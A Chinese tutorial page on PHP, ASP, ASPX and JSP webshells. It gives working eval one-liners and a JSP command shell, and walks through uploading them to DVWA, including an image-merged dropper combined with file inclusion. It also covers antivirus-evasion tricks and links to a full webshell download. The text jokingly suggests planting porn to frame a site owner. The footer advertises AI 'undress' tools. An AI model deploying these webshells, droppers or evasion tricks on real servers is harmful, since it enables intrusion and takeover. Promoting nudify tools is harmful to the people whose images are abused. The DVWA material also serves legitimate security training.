目錄
對PHP來說,我們會見到很多木馬,但大部分人對她的理解還是不夠深刻,今天這篇文章將會帶領大家認識何為木馬,其形式及原理如何?我相信這篇文章會為你們帶來意想不到的驚喜,一起加油! " >對PHP來說,我們會見到很多木馬,但大部分人對她的理解還是不夠深刻,今天這篇文章將會帶領大家認識何為木馬,其形式及原理如何?我相信這篇文章會為你們帶來意想不到的驚喜,一起加油!
概述:
入侵條件
常見形式
基本原則
中国菜刀
图片木马
木马免杀
小马和大马
网页小马
网页大马
WebShell
首頁 後端開發 php教程 精選何為木馬,其形式及原理如何? (精選)

精選何為木馬,其形式及原理如何? (精選)

Jun 02, 2021 pm 03:18 PM

對PHP來說,我們會見到很多木馬,但大部分人對她的理解還是不夠深刻,今天這篇文章將會帶領大家認識何為木馬,其形式及原理如何?我相信這篇文章會為你們帶來意想不到的驚喜,一起加油!

精選何為木馬,其形式及原理如何? (精選)

概述:

很多的滲透過程中,滲透人員會上傳一句話木馬(簡稱Webshel​​l)到目前web服務目錄繼而提權取得系統權限,不論asp、php、jsp、aspx都是如此,那麼一句話木馬到底是什麼呢?

先來看看最簡單的一句話木馬:

   <?php @eval($_POST[&#39;attack&#39;]);?>
登入後複製

【基本原理】利用檔案上傳漏洞,往目標網站上傳一句話木馬,然後你就可以在本地透過中國菜刀chopper. exe即可取得並控制整個網站目錄。 @表示後面即使執行錯誤,也不報錯。 eval()函數表示括號內的語句字串什麼的全都當做程式碼執行。 $_POST['attack']表示從頁面中取得attack這個參數值。

入侵條件

其中,只要攻擊者滿足三個條件,就能實現成功入侵:

<ul style="list-style-type: disc;"><li>木马上传成功,未被杀;<br/>知道木马的路径在哪;<br/>上传的木马能正常运行。<br/></li></ul>
登入後複製

常見形式

常見的一句話木馬:

php的一句话木马: <?php @eval($_POST[&#39;pass&#39;]);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> 
<%eval(Request.Item["pass"],"unsafe");%>
登入後複製

我們可以直接將這些語句插入到網站上的某個asp/aspx/php檔案上,或是直接建立一個新的文件,在裡面寫入這些語句,然後把檔案上傳到網站上即可。

基本原則

首先我們先看一個原始又簡單的php一句話木馬:

   <?php @eval($_POST[&#39;cmd&#39;]); ?>
登入後複製

看到這裡不得不讚美前輩的智慧。對於一個稍微懂一些php的人而言,或者初級的安全愛好者,或者腳本小子而言,看到的第一眼就是密碼是cmd,透過post提交數據,但是具體如何執行的,卻不得而知,下面我們分析一句話是如何執行的。

這句話是什麼意思呢?

(1)php的程式碼要寫在<?php ?>裡面,伺服器才能認出來這是php程式碼,然後才去解析。
(2)@符號的意思是不報錯,即使執行錯誤,也不報錯。
精選何為木馬,其形式及原理如何? (精選)

為什麼呢?因為一個變數沒有定義,就被拿去使用了,伺服器就善意的提醒:Notice,你的xxx變數沒有定義。這不就暴露密碼了嗎?所以我們加上@

(3)為什麼密碼是cmd呢?

那就要來理解這句話的意思了。 php裡面幾個超全域變數:$_GET、$_POST就是其中之一。 $_POST['a']; 的意思是a這個變量,用post的方法接收。

註解:傳輸資料的兩種方法,get、post,post是在訊息體存放數據,get是在訊息頭的url路徑裡存放資料(例如xxx.php?a=2 )

(4)如何理解eval()函數

eval()把字串當作PHP程式碼執行

例如:eval("echo 'a'");其實等於直接echo 'a';再來看看<?php eval ($_POST['pw']); ?>首先,用post方式接收變數pw,例如接收到了:pw=echo 'a';這時程式碼就變成<?php eval("echo 'a';"); ?>。結果如下:

精選何為木馬,其形式及原理如何? (精選)

連起來意思就是:用post方法接收變數pw,把變數pw裡面的字串當做php程式碼來執行。所以也就能這樣玩:也就是說,你想執行什麼程式碼,就把什麼程式碼放進變數pw裡,用post傳送給一句話木馬。你想查看目標硬碟裡有沒有小黃片,可以用php函數:opendir()readdir()等等。想上傳點小黃片,誣陷站主,就用php函數:move_uploaded_file,當然對應的html要寫好。你想執行cmd指令,則用exec()

当然前提是:php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。

来看看效果,POST代码如下:

  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo &#39;<pre class="brush:php;toolbar:false">&#39;;
  print_r($out);
  echo &#39;
登入後複製
';

在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解,为什么说一句话短小精悍了吧!
精選何為木馬,其形式及原理如何? (精選)

木马利用

以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。

中国菜刀

【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):

  <?php @eval($_POST[&#39;pass&#39;]);?>
登入後複製

接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。
精選何為木馬,其形式及原理如何? (精選)

在Low 安全级别下,查看后台源码:

 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ], $target_path ) ) {
        // No
        echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
登入後複製
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
登入後複製
登入後複製
"; } }?>

从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。

(1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:

精選何為木馬,其形式及原理如何? (精選)精選何為木馬,其形式及原理如何? (精選) (2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:
精選何為木馬,其形式及原理如何? (精選)

“中国菜刀”页面操作说明:

1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");
3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。

(3)然后可以看连接成功的界面:
精選何為木馬,其形式及原理如何? (精選)

(4)接着双击或者右键“文件管理”,进入以下界面:
精選何為木馬,其形式及原理如何? (精選)

我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……

图片木马

木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关。所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。

承接上面DVWA实验,High 安全等级,继续先查看源码:

 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // File information
    $uploaded_name = $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, &#39;.&#39; ) + 1);
    $uploaded_size = $_FILES[ &#39;uploaded&#39; ][ &#39;size&#39; ];
    $uploaded_tmp  = $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
登入後複製
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
登入後複製
登入後複製
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
登入後複製
'; } }?>

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”“.jpeg”“*.png”之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型
精選何為木馬,其形式及原理如何? (精選)

我们需要将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并:
精選何為木馬,其形式及原理如何? (精選)

【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件

生成带有木马的图片文件hack.jpg
精選何為木馬,其形式及原理如何? (精選)

精選何為木馬,其形式及原理如何? (精選)

接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:

精選何為木馬,其形式及原理如何? (精選)

然后我们试着将生成的木马图片文件hack.jpg上传,上传成功!!!
精選何為木馬,其形式及原理如何? (精選)

访问图片木马:

精選何為木馬,其形式及原理如何? (精選)

接下来,上菜刀!!!!!!!!!!!精選何為木馬,其形式及原理如何? (精選)

精選何為木馬,其形式及原理如何? (精選)

但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败:

精選何為木馬,其形式及原理如何? (精選)既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。

首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:

<?php fputs(fopen(&#39;muma.php&#39;,&#39;w&#39;),&#39;<?php @eval($_POST[hack]);?>&#39;); ?>
登入後複製

然后制作新的图片木马,如下图所示:
精選何為木馬,其形式及原理如何? (精選)

接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:

精選何為木馬,其形式及原理如何? (精選)

访问的地址如下:<code style="max-width:90%">http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下图所示:

精選何為木馬,其形式及原理如何? (精選)

此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php,如下图所示:

精選何為木馬,其形式及原理如何? (精選)

此时再上菜刀连接,即可成功连接:
精選何為木馬,其形式及原理如何? (精選)精選何為木馬,其形式及原理如何? (精選)

至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。

木马免杀

就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

免杀思路】:

1、将源代码进行再次编码。
精選何為木馬,其形式及原理如何? (精選)

2、将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:

精選何為木馬,其形式及原理如何? (精選)

3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。

精選何為木馬,其形式及原理如何? (精選)

不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。

小马和大马

小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

网页小马

小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre class="brush:php;toolbar:false">");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
登入後複製
"); }%>

成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。

网页大马

大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):

精選何為木馬,其形式及原理如何? (精選)

访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
精選何為木馬,其形式及原理如何? (精選)

继续访问下命令执行功能(其他功能不展示了):

精選何為木馬,其形式及原理如何? (精選)

最后附上该PHP大马的代码(代码太长,百度云盘链接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
提取码:56pd。另外提供JSP大马的参考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456

WebShell

Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:
精選何為木馬,其形式及原理如何? (精選)

推荐学习:《PHP视频教程

以上是精選何為木馬,其形式及原理如何? (精選)的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

在PHP API中說明JSON Web令牌(JWT)及其用例。 在PHP API中說明JSON Web令牌(JWT)及其用例。 Apr 05, 2025 am 12:04 AM

JWT是一種基於JSON的開放標準,用於在各方之間安全地傳輸信息,主要用於身份驗證和信息交換。 1.JWT由Header、Payload和Signature三部分組成。 2.JWT的工作原理包括生成JWT、驗證JWT和解析Payload三個步驟。 3.在PHP中使用JWT進行身份驗證時,可以生成和驗證JWT,並在高級用法中包含用戶角色和權限信息。 4.常見錯誤包括簽名驗證失敗、令牌過期和Payload過大,調試技巧包括使用調試工具和日誌記錄。 5.性能優化和最佳實踐包括使用合適的簽名算法、合理設置有效期、

會話如何劫持工作,如何在PHP中減輕它? 會話如何劫持工作,如何在PHP中減輕它? Apr 06, 2025 am 12:02 AM

會話劫持可以通過以下步驟實現:1.獲取會話ID,2.使用會話ID,3.保持會話活躍。在PHP中防範會話劫持的方法包括:1.使用session_regenerate_id()函數重新生成會話ID,2.通過數據庫存儲會話數據,3.確保所有會話數據通過HTTPS傳輸。

PHP 8.1中的枚舉(枚舉)是什麼? PHP 8.1中的枚舉(枚舉)是什麼? Apr 03, 2025 am 12:05 AM

PHP8.1中的枚舉功能通過定義命名常量增強了代碼的清晰度和類型安全性。 1)枚舉可以是整數、字符串或對象,提高了代碼可讀性和類型安全性。 2)枚舉基於類,支持面向對象特性,如遍歷和反射。 3)枚舉可用於比較和賦值,確保類型安全。 4)枚舉支持添加方法,實現複雜邏輯。 5)嚴格類型檢查和錯誤處理可避免常見錯誤。 6)枚舉減少魔法值,提升可維護性,但需注意性能優化。

描述紮實的原則及其如何應用於PHP的開發。 描述紮實的原則及其如何應用於PHP的開發。 Apr 03, 2025 am 12:04 AM

SOLID原則在PHP開發中的應用包括:1.單一職責原則(SRP):每個類只負責一個功能。 2.開閉原則(OCP):通過擴展而非修改實現變化。 3.里氏替換原則(LSP):子類可替換基類而不影響程序正確性。 4.接口隔離原則(ISP):使用細粒度接口避免依賴不使用的方法。 5.依賴倒置原則(DIP):高低層次模塊都依賴於抽象,通過依賴注入實現。

在PHPStorm中如何進行CLI模式的調試? 在PHPStorm中如何進行CLI模式的調試? Apr 01, 2025 pm 02:57 PM

在PHPStorm中如何進行CLI模式的調試?在使用PHPStorm進行開發時,有時我們需要在命令行界面(CLI)模式下調試PHP�...

如何在系統重啟後自動設置unixsocket的權限? 如何在系統重啟後自動設置unixsocket的權限? Mar 31, 2025 pm 11:54 PM

如何在系統重啟後自動設置unixsocket的權限每次系統重啟後,我們都需要執行以下命令來修改unixsocket的權限:sudo...

如何用PHP的cURL庫發送包含JSON數據的POST請求? 如何用PHP的cURL庫發送包含JSON數據的POST請求? Apr 01, 2025 pm 03:12 PM

使用PHP的cURL庫發送JSON數據在PHP開發中,經常需要與外部API進行交互,其中一種常見的方式是使用cURL庫發送POST�...

See all articles